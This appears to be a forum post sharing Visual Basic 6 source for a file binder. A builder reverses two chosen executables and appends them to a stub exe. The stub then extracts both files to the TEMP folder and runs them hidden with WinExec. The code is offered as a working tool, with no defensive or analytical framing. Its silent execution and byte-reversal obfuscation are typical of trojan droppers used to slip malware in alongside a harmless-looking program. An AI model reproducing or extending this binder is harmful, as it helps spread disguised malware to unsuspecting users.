كود:
     Text1.Text = Getpath

Text2.Text = Getpath

Dim sFile1 As String
Dim sFile2 As String
Dim sServer As String
Dim sStub As String
Dim sKey As String
Dim sBinary As String

    sStub = ReadFile(App.Path & "\stub.exe")
    sFile1 = ReadFile(TxtFile1.Text)
    sFile2 = ReadFile(TxtFile2.Text)
    sServer = SetPath()
    sKey = "\\\\\\\\\\\\\\\\\\"

    sBinary = _
              sStub & _
              sKey & _
              StrReverse(sFile1) & _
              sKey & _
              StrReverse(sFile2) & _
              sKey
              
              

    WriteFile sServer, sBinary

MsgBox Split(sServer, "\")(UBound(Split(sServer, "\"))) & " wurde erstellt!", vbInformation, "Fertig"

 
                                                 Function ReadFile(sPath As String) As String
    Open sPath For Binary As #1
        ReadFile = Space(LOF(1))
        Get #1, , ReadFile
    Close #1
End Function

Function WriteFile(sPath As String, sText As String)
    Open sPath For Binary As #1
        Put #1, , sText
    Close #1
End Function

Function GetPath() As String
With Form1.CommonDialog1
.ShowOpen

If Not .FileName = "" Then GetPath = .FileName
End With
End Function

Function SetPath() As String
With Form1.CommonDialog1
.Filter = "Executables (*.exe)|*.exe"
.ShowSave

If Not .FileName = "" Then SetPath = .FileName
End With
End Function

 
     Public Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long

Sub Main()
Dim sServer As String
Dim sKey As String
Dim sFile1 As String
Dim sFile2 As String
Dim sBinary As String

    sKey = "\\\\\\\\\\\\\\\\\\"
    sServer = App.Path & "\" & App.EXEName & ".exe"
    
    sBinary = ReadFile(sServer)

    sFile1 = Split(sBinary, sKey)(1)
    sFile2 = Split(sBinary, sKey)(2)
    
        WriteFile Environ$("TEMP") & "\File1.exe", StrReverse(sFile1)
        WriteFile Environ$("TEMP") & "\File2.exe", StrReverse(sFile2)


    WinExec Environ$("TEMP") & "\File1.exe", 0
    WinExec Environ$("TEMP") & "\File2.exe", 0
End Sub

Function ReadFile(sPath As String) As String
    Open sPath For Binary As #1
        ReadFile = Space(LOF(1))
        Get #1, , ReadFile
    Close #1
End Function

Function WriteFile(sPath As String, sText As String)
    Open sPath For Binary As #1
        Put #1, , sText
    Close #1
End Function